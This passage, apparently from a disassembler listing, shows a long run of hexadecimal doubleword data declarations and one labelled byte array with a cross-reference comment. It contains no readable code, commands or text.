		dd 6D96B2F3h, 414E7F1h,	9BB99ABFh, 0ABE8FFA0h, 0A3D8376Bh
		dd 0FA46516Bh, 8B4C652Dh, 0C683294Ch, 71A8D795h, 0F7AD8FE1h
		dd 6E4C1C7h, 0ECD6F7D0h, 0CC85A4E3h, 0EAD7DB47h, 0F4E34771h
		dd 7C7CF7F0h, 0DA6D6E16h, 468475F7h, 0F792EDDAh, 0E1C7E0B5h
		dd 6CD7ED2Dh, 79D7C593h, 71A9C72Bh, 15EDE304h, 75A821D8h
		dd 53CF6D25h, 0E6C64160h, 0A3F4B22Dh, 0F79EA4BCh, 0C49A907Fh
		dd 0A9FCEA86h, 0ADAE3351h, 0E296ADADh, 0E2058865h, 0A5F7F82Dh
		dd 0ADF34645h, 9EB0D725h, 0C0ED5C3Dh, 8579A2FEh, 0D70B6DE5h
		dd 0F5C5AFBEh, 63D06771h, 0ED985197h, 0C4D59DF0h, 6733EDC5h
		dd 10C7CF7h, 939F6DA2h,	0D6041A7Dh, 7BE797EDh, 0ADF5C788h
		dd 0B26A9383h, 9EAD34B6h, 0C52F2841h, 0C8DE21C1h, 0D1867DA8h
		dd 0B5E4DA21h, 0ADFDC7A9h, 37B48466h, 0A22DF984h, 4484EFA4h
		dd 0A0C5C1C3h, 0F905696Bh, 0A28324F8h, 37C2C551h, 4D6BEE10h
		dd 0A42DFEC6h, 0C76160B1h, 0C7C12DE6h, 0E8C5EB5Ah, 0E767BCh
		dd 7CFB46FCh, 75E7D705h, 0B3B9AA61h, 94D070C0h,	0F7B1ADB4h
		dd 0F0C555EFh, 0A5F730BCh, 0EDE0C745h, 752D83BAh, 0E7F4E086h
		dd 68748D0h, 0F744EDEAh, 0A942416Dh, 6D5E71B0h,	6DE9C765h
		dd 796D5273h, 5C2DE406h, 0C6FCE5C7h, 0B1A16DEEh, 0F504E4B5h
		dd 25BA33EDh, 6D641C6Dh, 8BCD7CFBh, 0F7ADE5C7h,	7CF473E7h
		dd 0F7782D59h, 0FBBF7D27h, 60E7C57Bh, 6DA80275h, 696CE7E4h
		dd 0B4ED9EFFh, 47565E7h, 0F77FEDE8h, 0CC46740Eh, 0E15E81FCh
		dd 0ADF80549h, 69E2C7DAh, 876DEE86h, 0C61F4CE7h, 0D7A56DEEh
		dd 62303F8Dh, 22F72BADh, 6DA77C45h, 649EC73Bh, 24CBA0B4h
		dd 0EF61A4ADh, 0E714EDADh, 4AE15DEDh, 2DB3A1B8h, 0EDC90445h
		dd 4565E71Fh, 60EDADA1h, 0C679ED91h, 8923EDC9h,	0FA877122h
		dd 41F732C1h, 6D92ABBBh, 79A91D9Bh, 0DFE0DDC7h,	76969F7h
		dd 0E70C3FD3h, 0FBC5A725h, 0A0C715ADh, 2DD4C749h, 4DA3C705h
		dd 766DA6A0h, 65925E7h,	4C8BB6C1h, 0EC857521h, 0E4E7746Dh
		dd 6DE68461h, 6527E7D5h, 642DE284h, 0A15164E7h,	0D7016D49h
		dd 0E1C708ADh, 65E7ECADh, 6DA3F741h, 9B28D7E0h,	2FBAE705h
		dd 0FC4D2081h, 0C7CAB105h, 9EF01440h, 0AEF097F7h, 2DDFC475h
		dd 4520F2F4h, 0C134E306h, 0C600B3F7h, 732DADE4h, 965B756Ah
		dd 12E70570h, 0F2E5C793h, 492D3100h, 0DAAD509Bh, 7796BE7h
		dd 3F9E6DF7h, 0A65971ADh, 5CF7337Ch, 0EDE54686h, 0D8B122B9h
		dd 0C26DD006h, 0A85C77E7h, 0D7416D85h, 0D5C73030h, 8383EF6Dh
		dd 2DE206B4h, 452BE7B4h, 4EDF6C7h, 48616F2Dh, 0E7A26DAEh
		dd 835A4929h, 0E6D7DCB3h, 6D9B3765h, 3C33D7DFh,	0DFF4EF84h
		dd 4649E0E7h, 711DEDEAh, 0E745EC5Bh, 0A2B1B6BAh, 76F04551h
		dd 65AA635Dh, 113387A8h, 7C434E7h, 2C0331F0h, 0D4C6EC00h
		dd 0B6E758BAh, 0ADD145E4h, 98D95032h, 0B06DED07h, 74D6DBDh
		dd 0D72539D1h, 479AF88Bh, 45E7C02Dh, 2DCE06C7h,	6563E763h
		dd 652DDB85h, 0EC71A081h, 0F0ADF8A6h, 0E646C5B0h, 0E19D322Dh
		dd 7BE08565h, 17B0F7C9h, 7BC6D90h, 0E36962D7h, 0E7FFEDA7h
		dd 0BE884529h, 2AD7DFFAh, 7CA40159h, 0BFF351C1h, 44B74343h
		dd 0FCBFB285h, 50542D66h, 0E487278Dh, 6EE715FCh, 0ADDF4551h
		dd 6D6BA165h, 0F9EDC904h, 0C5B4E3A1h, 0F2BC34C5h, 0E6C54520h
		dd 0BEC7376Dh, 0F1ADA4FCh, 7562D787h, 0BA6DECC5h, 3B452AE7h
		dd 0D714EDB5h, 0DDC555E5h, 2DD7F841h, 6D616879h, 0E0366273h
		dd 0ABFFF0C4h, 0BC6926F7h, 0E2623770h, 7262E456h, 0EDE7FFADh
		dd 71B6D771h, 0A4FC5D61h
		dd 0AAC7C104h, 0D65A2E7h, 6FE9AD5Dh, 490D6563h,	6B63ECADh
		dd 0EDE8C765h, 0CC04A1F9h, 0C7F7840Ah, 0C05DE3D7h, 53B6AD95h
		dd 0DE06E4B0h, 63A16B2Dh, 0ADE48465h, 24B99176h, 237FE285h
		dd 7006FD7h, 6D8FEDE4h,	0CA0759EAh, 0E7A1C807h,	0B6B6F141h
		dd 4D62C77Fh, 0DFADC444h, 855DE8C7h, 0C7C7F4F6h, 0C18475ADh
		dd 0EDD774FFh, 0EDF5065Dh, 41E28179h, 0E6F6E646h, 0C67DE5E7h
		dd 0EEC4EDE0h, 0EEC579A2h, 6BE7196Dh, 6DD48565h, 0A026DA77h
		dd 0E7B1FCB4h, 0F8D8B4E7h, 0C72C2D8Dh, 0D3067C3Fh, 0A590C2BAh
		dd 2DB96055h, 0BC6A63B6h, 387672DBh, 4645A5E7h,	0C7C5EDD5h
		dd 0E905787Dh, 0F5F7D974h, 0ADB2F854h, 80D383B0h, 0AA0C9E78h
		dd 0C75036D7h, 4D646DDBh, 0AE0BBCDFh, 20D7566Dh, 6DE94641h
		dd 0C4F4D7C9h, 3AADC307h, 4554B8D7h, 0ADD2EDCEh, 0F7C55DAFh
		dd 0DBC0415Ah, 7CAC77C0h, 6122E0BFh, 0BC6DA642h, 0E18C58D7h
		dd 20182DB5h, 69354569h, 168DE574h, 0FCECC6F4h,	0C08DD7D5h
		dd 80EDD005h, 86DC84CCh, 0E7B840C3h, 0B0AD7D6Bh, 90DC782Dh
		dd 2DEB46C4h, 741B1320h, 4E2DE0C7h, 456491B3h, 1577ADEBh
		dd 736FFC50h, 0A92055BEh, 0EDEB0475h, 0F346D045h, 0A1ADD7C5h
		dd 87556BF7h, 2BF286C1h, 0A18C189Fh, 76C7582Dh,	0BBFA87EFh
		dd 45ADF858h, 683AC084h, 0C6FB59A1h, 0E7ECEDE1h, 0CCC575EBh
		dd 2192E3BFh, 0B4D5C555h, 0F4F281ECh, 54ADFB04h, 0E355E029h
		dd 8324AD95h, 0BD1AA804h, 0A6D7B82Dh, 0EDF9444Dh, 592A50B2h
		dd 0DEF4AF95h, 6D416C7h, 0D7F8FCC6h, 0B5E361A4h, 68E7B6F2h
		dd 72D98461h, 84B90DD7h, 0DF2D89E0h, 0DA79AFD7h, 0E7B66DA6h
		dd 0B2AA612Ah, 0E4CEEBF4h, 34ADE245h, 61E5F7FFh, 392D9A42h
		dd 0E35565E7h, 93062D99h, 0B3EFF837h, 0CBD770ADh, 6DC1C4F0h
		dd 79E6239Eh, 0F0869DC1h, 4102A11h, 0CCEB6DCDh,	0C107F884h
		dd 9CC7CE8Eh, 6D8E48C0h, 5884354Ch, 8886C887h, 661E0E7h
		dd 0E75FBCFEh, 0F77B712Dh, 35D786EDh, 33D28524h, 74C5F7F5h
		dd 843EA02Fh, 0C761E0ECh, 0FA72DE4h, 0A7EE7164h, 6D1DD779h
		dd 2DCD8645h, 5168E73Eh, 0FBB0A291h, 0B1FBD973h, 0A2526D6Fh
		dd 0E084D456h, 6BE70511h, 7BFBC575h, 0FAE8198h,	1C2DA78Ah
		dd 7AADE8C7h, 3326ADBDh, 83AB0828h, 68A1F74Fh, 0EDDDC749h
		dd 69ACE726h, 152DDBC6h, 4F43DE7h, 0C7F1FCE2h, 0CDC6496Dh
		dd 28C7BA2Dh, 0F6948965h, 0C7F4F2A8h, 0D1F4B9E2h, 85F337C7h
		dd 0C7AAC4E3h, 9F0C45E5h, 59F720B6h, 0ED6AFA4Ch, 45AD3D97h
		dd 86FEEA04h, 21D4BCC7h, 43A56D8Eh, 6DD049AAh, 0EA117BEDh
		dd 71A69245h, 49AAD7DCh, 7EDA280h, 50045CE2h, 0F2806D47h
		dd 0BDEABA50h, 73A13000h, 6DAE2197h, 182DE746h,	4CF7F506h
		dd 45DC524Dh, 812BA0DAh, 0E804752Eh, 0AEC7BA84h, 0ED30F065h
		dd 41ED9C3Ah, 0ED3456BCh, 0C65DA7C0h, 0F7DD02D7h, 0D805C035h
		dd 75C7DDADh, 0B3CC86D4h, 0E73FC717h, 0FB6DA6FDh, 0FFBD024Ch
		dd 0AE52FCE7h, 0C1C6810Ch, 6DF7D083h, 2DC1C451h, 7163D778h
		dd 0CA63D132h, 76656D60h, 0E7CB6DA6h, 0A3CD79AFh, 0E1F7B8EDh
		dd 6D9D7D69h, 71E5B387h, 0C5EDDD04h, 7756EE7h, 0D7F8C3CAh
		dd 4D787127h, 0ACF79A2Dh, 2DDDC708h, 712B9487h,	14ED9E97h
		dd 8575A2F7h, 9CFF84F0h, 4DE8049Ah, 2CF7102Dh, 0ADE44637h
		dd 4521F72Bh, 80AD57FDh, 76A5BAF7h, 91252386h, 0E4C4A4F8h
		dd 0ED8E9133h, 1DF0559h, 6884B015h, 0F0F1CD07h,	9A75E7B1h
		dd 0E7EE888Dh, 6E77A381h, 0A5CA4F48h, 84C5C57Dh, 456BF7D9h
		dd 7343C6C7h, 447D6B6Ah, 0C79FFFE4h, 9D5F69A2h,	22C7DB6Dh
		dd 0AD868279h, 0E8F2E72Ch, 0F22DC9C7h, 6DE057C7h, 0C79A2D85h
		dd 9F35F8F5h, 0A2F786FAh, 0B3CD4665h, 0C316E763h, 0C36D9BF5h
		dd 0D4483CE7h, 81EA2D85h, 0C78549A7h, 63C7E6CCh, 0D2EBC465h
		dd 6924E76Dh, 68CAAA81h, 0FC3897F7h, 0D71C2DA4h, 0A76C55E5h
		dd 6A6231EDh, 0EDE70469h, 57036034h, 2AAD9339h,	87840A32h
		dd 5F2DF7C8h, 95E8B0F9h, 73DF72Dh, 0AD468CF8h, 87B5F716h
		dd 752DCD87h, 0F79065F7h, 2076B6BFh, 0D386C408h, 63E720ADh
		dd 0F991D565h, 4168D7DFh, 0E47FF585h, 0C47D24C7h, 3278EDDEh
		dd 0A858480Ch, 6BE731BAh, 0BACDC449h, 49ED0043h, 0BC3BCEC5h
		dd 0CF6168E7h, 2BB67493h, 78E861A8h, 2BA36F37h,	0CFC78465h
		dd 7380D78Bh, 0EA2DED06h, 51C8BE33h, 0E7862D8Dh, 98A1692Fh
		dd 40AEACEDh, 0ADD6C5A0h, 416BE724h, 1F7AE304h,	4AC9BF7h
		dd 0E7187AE3h, 0FB844168h, 60F714F3h, 0F4F4C661h, 9B5500D5h
		dd 0A0ED5AD9h, 4644F502h, 22442DC1h, 0E32F4B8Eh, 10F78D34h
		dd 0EDAFD5CBh, 49E46E6Ah, 962DA6D7h, 8471E990h,	0E0646DEEh
		dd 0F385452Bh, 0E42C39ADh, 2D9DAB7Dh, 59A5F7F8h, 0E1ADE806h
		dd 0E8B05BD7h, 2DF72D9Dh, 0E0C6BE3Eh, 6BE0E5ADh, 2DEEC755h
		dd 7D66917Bh, 0DFB6E7C6h, 6F4B1E7h, 0F7D030F0h,	0F88478F0h
		dd 3BB49C20h, 10D832B1h, 9785E751h, 0B06DEC46h,	6055EAE7h
		dd 6DFBAD90h, 400E8B4h,	0E9F1652Dh, 0F3FBBD7Dh,	656DD7C1h
		dd 3272E805h, 8061E1B2h, 0F74A6DA6h, 91AD3F87h,	2D83B1EDh
		dd 0ADE80580h, 71A2E7EDh, 446DEFC4h, 59786D7h, 0F7B8EDE6h
		dd 0A3A249A5h, 26E7E4B4h, 0ADD0C56Dh, 0A424C769h, 7A6DE885h
		dd 226927E7h, 0D707EDA9h, 0AEAEBC80h, 48C725ADh, 0F9F8C464h
		dd 4D63C7E2h, 1AF7C7C5h, 1612D5Dh, 0C729349Ah, 0B9EF6CC5h
		dd 0B8D79FEDh, 0AD90428Fh, 5DEDE77Ch, 1C04C707h, 226920B1h
		dd 0A19A72C9h, 0E7C5556Bh, 636D67E7h, 0AD75ED59h, 0C404B3A9h
		dd 0ABB0D885h, 85C4FA12h, 0C7142DCDh, 9B8CD032h, 76E75DF7h
		dd 0AD934A20h, 0F306E761h, 0B3BFCE86h, 2D5C85D7h, 733D6D8Dh
		dd 9FE1ACA1h, 0C3D7827Eh, 6DD94444h, 447A3350h,	646DF646h
		dd 444E18D7h, 0B1D9D7CFh, 8BE255E3h, 0BAE09BD3h, 6D6C02D5h
		dd 0D1854DFBh, 3D2D68CCh, 0ACDD8043h, 533DAD61h, 0DD44E03Ah
		dd 0A2812C87h, 34DAC55Dh, 5B42E770h, 3DED8E22h,	0EF708D53h
		dd 0D7EDF4A0h, 0C5C748C3h, 66D77574h, 4CFB8471h, 456DD745h
		dd 39B44F37h, 0C65D6D99h, 64055CD4h, 8DDB55E5h,	27C7458Ch
		dd 0F4B3894Dh, 71E9C797h, 716D9D79h, 5E7D22D7h,	0F72D2D9Eh
		dd 0F484E0F0h, 6B62D9ADh, 7BC6C775h, 59E3E7FFh,	0F6D9ACDh
		dd 761E2AEh, 0D7F0BEF8h, 0CE44FF05h, 22F707BEh,	34FCC545h
		dd 65A9D705h, 1471F585h, 0C7B8D7D7h, 0D7E77FE6h, 0D2C74960h
		dd 21C7DF2Dh, 0FCECC741h, 5569F222h, 0E739DE87h, 55563E2h
		dd 81E5EDE5h, 0CDC57D63h, 0ADD7202Dh, 79B40B41h, 792CF775h
		dd 0CEDAFD7h, 0C6596D13h, 0F7932DCDh, 910A749Dh, 63C763ADh
		dd 76A7B659h, 556DE7F5h, 14ED292Bh, 0F16DA5F7h,	0D724C948h
		dd 0E74571EDh, 0DCCC6CC8h, 7EF246CBh, 0EE749521h, 0CBF1DCC6h
		dd 7E71ABC7h, 0D71AD60h, 0C544CCA0h, 6AE7FAB7h,	0ADBCE141h
		dd 59EAA17Ch, 0B8BC8121h, 4752AE7h, 0A119EDEEh,	8BE17165h
		dd 78F7F1ADh, 2D4D6AB7h, 716FE746h, 0CB6D9A8Dh,	87FF93C7h
		dd 0BBA1ADD3h, 412ADD74h, 11C7BAEDh, 0EDC70670h, 59E01331h
		dd 70EDADB1h, 6696DD1h,	0C710F1F5h, 0B521D8F3h,	24F7E4B0h
		dd 0ADD2C700h, 45A2D0BEh, 0E6B1D4C5h, 447563E7h, 0A133BCF4h
		dd 0CDC5612Ah, 0E4C7A72Dh, 0B99A6036h, 75A2E765h, 0D36DA755h
		dd 2171E50Dh, 0C260819Ah, 0A7B2D4DCh, 78E7EB76h, 6D6EA1B7h
		dd 0D174E715h, 0FAB4572Ah
		dd 0C545A7E7h, 0E0D4EDDEh, 0F7047525h, 0A1C707EDh, 0ADF2C545h
		dd 65A721D5h, 8F2DCD85h, 956922D7h, 0F056F1B0h,	0D105496Dh
		dd 0E9C73271h, 0B9FFC545h, 456AA179h, 23B3C546h, 0EBAC7533h
		dd 0C7C92D8Eh, 0A2366CF3h, 0E2D7E7ADh, 0EDAB2249h, 4965E787h
		dd 9AB18861h, 0C5496BD0h, 0A0C7ADF3h, 85966920h, 20D2182Dh
		dd 0ADFC8449h, 796EE715h, 76ADD944h, 94456703h,	0C707ADB3h
		dd 808C84E8h, 23536031h, 6DA8104Dh, 61A0E744h, 642DA280h
		dd 0CD59E6E7h, 0E78734BCh, 0AD745161h, 61E078ADh, 0ADA92249h
		dd 0FC99E7ECh, 4AA1E0C6h, 46456AF8h, 83E2EDF1h,	0E0C475AAh
		dd 0A5502B31h, 0ADA1A841h, 60C5D7E4h, 1A3186EBh, 7B81501h
		dd 0F7DFC0DDh, 6A355DACh, 6BF7722Dh, 0F8D6477Dh, 5D2DF7CBh
		dd 0AD6D52B1h, 0C4B74BD7h, 0F7D1ADCDh, 0A8E3416Fh, 68E7B66Dh
		dd 0ADB13161h, 0C4F509C3h, 0B6F0EB86h, 4645EEE7h, 0F7F6ADE2h
		dd 0F4C75410h, 0EEADE5EDh, 0B4EB8465h, 7562E7C9h, 0D9BEEB87h
		dd 0A061E7E7h, 0D8A52DA9h, 0B3937DA2h, 0FDA0FD86h, 5CE00578h
		dd 5565E732h, 5BEDA936h, 569A2E0h, 0E7346DE8h, 0A3B47DA5h
		dd 0F023C32Dh, 0EDC304FCh, 69E6D707h, 0F7ADDBC7h, 459E5E7h
		dd 0D7DFEDF3h, 0B61169AFh, 49C786ADh, 0B1D7C790h, 456BC7DFh
		dd 1F388C12h, 0C769E5D7h, 0D7E42DE6h, 0E9845966h, 88F7B8EDh
		dd 0ED9E34F0h, 7DA2E0FBh, 1F73E904h, 7C452480h,	22E3F896h
		dd 0A6525567h, 0C7E7546Dh, 0F6DF06A4h, 616BEE7Bh, 212DD3C4h
		dd 41FB5CC8h, 81A4EDB1h, 8E894D6Eh, 0FBF7662Dh,	0ED63DF87h
		dd 71A6E71Fh, 4D068121h, 57B0BAECh, 1D63338Dh, 8A224921h
		dd 6BF705F3h, 0EDBCEA75h, 6962D7DFh, 7A38111h, 3D5D22D7h
		dd 11D42D8Ah, 0DDA169A5h, 31816126h, 0B0EB0508h, 59A2E7E7h
		dd 616DEEC5h, 856166F7h, 0D7A7ADD1h, 0DDC661EDh, 0EAD7B84Bh
		dd 2DA6F169h, 75E1F707h, 876DEE05h, 0A4FF7EC7h,	0C7EEF49Eh
		dd 0CFC7E03Eh, 0B2E727ADh, 0ED95A894h, 94E8C786h, 8C2DD605h
		dd 467D6BE7h, 0D352DF3h, 0E54555E9h, 65B1D2D9h,	0FCBEB317h
		dd 45EAF707h, 98ADDA46h, 9CBD01C7h, 0C7693240h,	0BE5C6528h
		dd 6D1DDC79h, 0EDF9C45Dh, 55ECF786h, 232DDFC7h,	4656E03h
		dd 816136DAh, 0E4455521h, 0AA50CD2Dh, 6DE68679h, 49E5F71Ch
		dd 0EC2D8CBEh, 84E4E0F7h, 0E7DFF9F3h, 0C786716Ah, 2A868B4h
		dd 2DD8C7B3h, 0E9743B5Eh, 27BEF3C6h, 0BEA82930h, 0B94B6DABh
		dd 82205DEDh, 95F7E7FCh, 0A2537757h, 61E06212h,	702DE3C7h
		dd 0AFB8F42Eh, 0C794ADBDh, 0BFA1F8F3h, 73E707F0h, 0EDBD32B0h
		dd 0E077B4FCh, 0D9309096h, 306DE5F7h, 0F2DC7A55h, 0D206186Bh
		dd 0FBD7D36Dh, 2D95E370h, 7411C7C1h, 352DF187h,	0C4A07413h
		dd 2376ADDCh, 0C18559E3h, 0B6B1D4C0h, 6DEC84F8h, 0B428E764h
		dd 7C3CDCC5h, 46452AA1h, 0F79AADECh, 0FC0644F4h, 0A9D785ADh
		dd 0FCF98645h, 4167F7DFh, 1077AAE8h, 6872FE7h, 0F7D3ADCDh
		dd 0BC6171E0h, 1F7ABB6h, 0ED44AF30h, 0D78583E4h, 60F4EFC5h
		dd 45E4F7BDh, 43A2FCC1h, 0CDC57963h, 5D7DAADh, 2D974B48h
		dd 0A226D763h, 9C06DEB0h, 0C74D2DF0h, 0D7E5F9F7h, 0F7077925h
		dd 0A0D764ADh, 0ED96B755h, 6DADF71Ah, 0EEADD386h, 420D2F7h
		dd 0C7ABEDE9h, 0EE042CE8h, 60F707EDh, 0EDE68565h, 6566F752h
		dd 67AD9791h, 458489F7h, 0C72BADE2h, 0C1046D6Ah, 65C71F2Dh
		dd 0EDB1BE61h, 65E1F72Fh, 0E1B08DECh, 7AF49AE7h, 0D73C6DA6h
		dd 0E0C7E81Ah, 72D71A73h, 0EDD504B8h, 65A5D714h, 0E1EDE385h
		dd 0C7612E73h, 0D77CF4E0h, 0C3C5141Fh, 0ADD787ADh, 6D6FE25Dh
		dd 616382FFh, 0E0B49929h, 0C7796DE7h, 93D46DC3h, 0EF85A4FAh
		dd 15D7C577h, 0ED41C208h, 4DE7A110h, 92AD94A2h,	0AC785293h
		dd 813776A5h, 9A03452Fh, 0EDD71734h, 76A9C171h,	71EFD70Bh
		dd 982DA2C1h, 5171E460h, 943DF2A9h, 0B1221473h,	0B223506Dh
		dd 3E9BA0BCh, 51E5D77Fh, 0EADE3C7h, 36DA581h, 0E744ED6Ch
		dd 0C146C397h, 6E6364ADh, 0ADDFC441h, 5DA52376h, 85F7C785h
		dd 7452BE7h, 8E533CE1h,	0EC46E4DCh, 6BE7BA6Dh, 0EDE44645h
		dd 0DE5CE700h, 55749E60h, 6B4E1C8Fh, 6332AD53h,	0BE43D05Dh
		dd 201EAADh, 3CDA84B4h,	0C4465BFFh, 0CB2DD846h,	0C65DED93h
		dd 0D75431DCh, 0FEC77525h, 0A49D206Dh, 2D8DEAA8h, 10ACC7B2h
		dd 647E6AAFh, 8755AD91h, 0E060FAD2h, 0FA444D2Bh, 0D571BA34h
		dd 0ADF54654h, 0D4D601A4h, 0B46DF7C6h, 4E552671h, 0D7F8EDA5h
		dd 861D45ABh, 0AF21FB2Dh, 2D8D1398h, 71ADE723h,	0CA37848Dh
		dd 0C751E870h, 0F7EA6DD0h, 0DB4604D6h, 76E7C5ADh, 0ED3C4E58h
		dd 616343CEh, 1EADFE45h, 4F55296Bh, 0C7C7AD8Dh,	0D6464470h
		dd 0E4D759ADh, 37FC8617h, 55A2EC3Ah, 86F69FE2h,	2E612DF7h
		dd 2887AD74h, 0A5AA4C97h, 80D2A26Dh, 6DF54644h,	0C51BC740h
		dd 0AEF0FEA0h, 46D781E7h, 616DEDF9h, 0EEC7AB20h, 33B34FADh
		dd 0B9893CF0h, 0E8D1C7BAh, 14EDF904h, 23E8E5D7h, 0F2102D51h
		dd 0F507692Dh, 6BA3D46Dh, 6D66EBE0h, 4965D7E7h,	87ED9D0Fh
		dd 286D62E7h, 513AAD9Dh, 0F78545EDh, 672F4366h,	2D8D8B6Dh
		dd 71ADF711h, 8BF48DC1h, 0B87920F7h, 0F7E2AD5Eh, 0B5A0A00Bh
		dd 61D787EDh, 74DE8565h, 0E7F9D781h, 0F16DB6E2h, 0C74CDCC7h
		dd 9D116DECh, 0FD4769EDh, 0E52341ADh, 0EDE50759h, 45EA2C28h
		dd 4EB4F4C7h, 0B69E82Dh, 0C751ED96h, 84B49E1h, 9D63EB2Dh
		dd 2DEFC7CAh, 61AC9377h, 0C83499CBh, 47EB8CD7h,	8D736DE5h
		dd 0C48710E3h, 0AEF48E6Dh, 0EDA9809Dh, 0E1848472h, 5AAD8C61h
		dd 307014E7h, 2D8E6DD2h, 5E08C8FEh, 471309EDh, 0EDF9C478h
		dd 59E8C7DFh, 4FF8E02h,	0C6739DC7h, 92C704DAh, 0B9557524h
		dd 6831FC3Bh, 6DE6C749h, 704EC7C7h, 3F6DE884h, 2F51A4E7h
		dd 0E705F4A3h, 0FDC5412Ah, 0E1D78703h, 37E58545h, 696BE7FFh
		dd 413CFBC5h, 0C56D63C0h, 7DD027E9h, 868E41E3h,	3CF786EDh
		dd 769AF15Ch, 55A6F7DFh, 5D79A24Fh, 84AB4B7Eh, 0F7B63BC8h
		dd 0CC464835h, 0A2B21BEDh, 9A66271h, 4F9DC70Bh,	0D021E9C5h
		dd 0C43028E4h, 936AEDEFh, 67B5496Eh, 2DC7B8EDh,	0ADB8E85Dh
		dd 0D4F1E733h, 1A2DE645h, 0F759EED7h, 0C7E63769h, 0D04600BBh
		dd 2A51FDADh, 0EDFE0745h, 49A44DF4h, 0E687EF85h, 8C65A5C7h
		dd 0D70B8680h, 0F3C5D318h, 207102B5h, 77809751h, 61EB606Ah
		dd 0D177D8C5h, 451EDD7h, 0A1FF2DF5h, 0F80751ADh, 0E1D78679h
		dd 7FD88555h, 14C0390Fh, 2CBE80BDh, 8E512BA1h, 735C7283h
		dd 0EBC5D848h, 2CF7406Dh, 0ED25F034h, 0B867D7B8h, 452DCDC6h
		dd 9C44DED7h, 0C72471A9h, 0D9C5656Dh, 6DE7E4EDh, 0ADE9C769h
		dd 941E3341h, 26EDE005h, 8469ADF7h, 0F71FF8D8h,	0D7067D25h
		dd 0E53341B3h, 0ADA1AF59h, 0B03F92AAh, 8BEDF704h, 3361E588h
		dd 0B3A62D80h, 0E6455D6Bh, 0FEF7E400h, 0E91B09Ch, 0D8D871A7h
		dd 5C7770AAh, 76BAB163h, 900033B6h, 7A934D64h, 37F77E77h
		dd 36787320h, 9C66E7FAh, 0CEDA382h, 8B6D2190h, 51A7ADBFh
		dd 0FAC769A9h, 35F76506h, 3FC3C6E7h, 0F318D086h, 8038B576h
		dd 0EFF3B4D7h, 0C790BCAFh, 0E2C69F07h, 0AEF7DFF4h, 2D9A4E7Dh
		dd 492DF768h, 9FC3F7C7h, 0C6616D11h, 334170FDh,	0FA0659ADh
		dd 37F76677h, 76AA7718h, 3CC4D7C5h, 116D96F6h, 86D83A2Dh
		dd 0A3522DD5h, 0A7EB59A5h, 0ED5EB96Dh, 7EF78475h, 5D698153h
		dd 6487831Ch, 2164FAF7h
		dd 0D7DCEDB0h, 0A3E26409h, 6F786DEDh, 0ED832910h, 5D2E8C0Eh
		dd 0DC2D9A26h, 9ABEC78Eh, 0C7ADF4AAh, 0E246408Bh, 0AB72EFEDh
		dd 0ADD0C5A8h, 28C1E7FEh, 0FF2DFE05h, 65DA6E7h,	0E735B7E0h
		dd 0DA847D6Bh, 0AD7CE43Ch, 77801F41h, 456DD7E7h, 1843E9C7h
		dd 5151E9F7h, 0F72070B6h, 0D1C641ADh, 0EDD721ADh, 0CBF74765h
		dd 59EDE714h, 0AA7F5FAAh, 0C74DE631h, 6C236DEDh, 0C20641EDh
		dd 15C7E631h, 0F698C2B6h, 0A4D7E7BCh, 142D8792h, 11921542h
		dd 0F73CF698h, 0D0C5B4ABh, 48C73CADh, 2D407EADh, 0B78563CEh
		dd 5403CA85h, 5652AD7h,	0D79D2DCDh, 5A3D7162h, 2171EC2Dh
		dd 6DECC545h, 0B30DE785h, 0B2EDE204h, 87596B70h, 0F7477FDFh
		dd 59BD49EDh, 25D01CEDh, 6DE4C679h, 4893342Ch, 0EAEDF946h
		dd 438F8E7h, 2E86C2D2h,	44BBBFD1h, 0B9D09CADh, 0BFDB84A8h
		dd 65A8E7B4h, 0E634BFEEh, 215D6AC7h, 0E709744Fh, 0B169B70Dh
		dd 0A2A2EC2Dh, 0ADB5CE59h, 69ED910Bh, 44B370AAh, 451AC1Fh
		dd 0E7BAFCE0h, 9258552Bh, 0FEF7F14Ah, 0F8D80594h, 49A831ECh
		dd 0EF2DCD84h, 4640DDF7h, 0C09C06C0h, 0A33361A5h, 2B93202Dh
		dd 0B4CB44BEh, 756BE03Ah, 0A1ADD904h, 0C665A2B3h, 0F7EB2DCDh
		dd 0A6C65ECh, 0ECB16B9Fh, 0BBD7045Dh, 45EEA377h, 0A737AF41h
		dd 86D49761h, 0E70B74D0h, 505A50F7h, 5BC7A3ADh,	2DB9EE3Ch
		dd 0D071E7F1h, 7BADFE86h, 755476F0h, 0F7EE2D8Dh, 0F246082Ch
		dd 0C5C733ADh, 3AC24478h, 4C30D730h, 772DCD84h,	0EED776F7h
		dd 5316AD99h, 0AD2F902Fh, 69A1332Dh, 0ADA0F67Dh, 0F478C752h
		dd 3A2DCBC6h, 4665A17Eh, 0F72C42D9h, 177A456Ah,	70D73134h
		dd 8480A1DFh, 0AA154019h, 0D36D6EBDh, 6947EC7h,	9D2D2DDAh
		dd 8C4145A5h, 79C78D2Dh, 37BBE8CCh, 71A598F4h, 40EDC904h
		dd 9845E692h, 9D506D23h, 79D65A5h, 0F4E7E7D3h, 6DDBC558h
		dd 64BBF7E1h, 9247F246h, 0E15165AFh, 64AA6DB9h,	0EB06796Bh
		dd 3D612BFFh, 0B4A869D4h, 0DCDAB355h, 33B3B6CDh, 47E8BB42h
		dd 0A0F2FFE6h, 8890596Bh, 748350EDh, 0EDE205C0h, 5DEDD754h
		dd 1A7CDAC4h, 8545A2C7h, 0D7CA6DE5h, 673C65E5h,	0E1E034EDh
		dd 0EDE20549h, 49EAF779h, 659FF546h, 8C6D6DC7h,	0E7FA427Eh
		dd 46630047h, 0DBE7F26Dh, 0ADE0C7C7h, 3003E79Ch, 0F12DC1C4h
		dd 40D63AF7h, 0F7DCFE9Ch, 0E24645A5h, 0F21C1C6Dh, 0AD9122BCh
		dd 51E54E21h, 0ACED9C20h, 0A2556A6Dh, 0A1A6ED2Ch, 0A58E75ABh
		dd 3F70B6Dh, 6D83E153h,	4877F71Bh, 0B84FE007h, 0AD5D21C7h
		dd 6FACED1Dh, 0D0850401h, 4F50B0CFh, 2D409CCBh
		db 14h
byte_444E45	db 62h,	83h, 0A3h	; DATA XREF: .text:off_4305D4o
		dd 243FF404h, 441EC51h,	710C07D0h, 61EFF03Ah, 2991373Fh
		dd 6FEC765h, 0F34EAFDBh, 41F46889h, 46C544D7h, 23222DF8h
		dd 532DE547h, 4623226Dh, 3FDBC742h, 61E45935h, 846DA88Eh
		dd 1F416BE7h, 0C7CD3799h, 0E40558B3h, 0F7156Dh,	2DBAF7CFh
		dd 596AF7DFh, 0CFB4BE48h, 7D0FCC7h, 0E7788ECCh,	0D104B3A7h
		dd 0E4E77433h, 2DE5C769h, 7163C7E1h, 0DF7EA6D6h, 17456BC7h
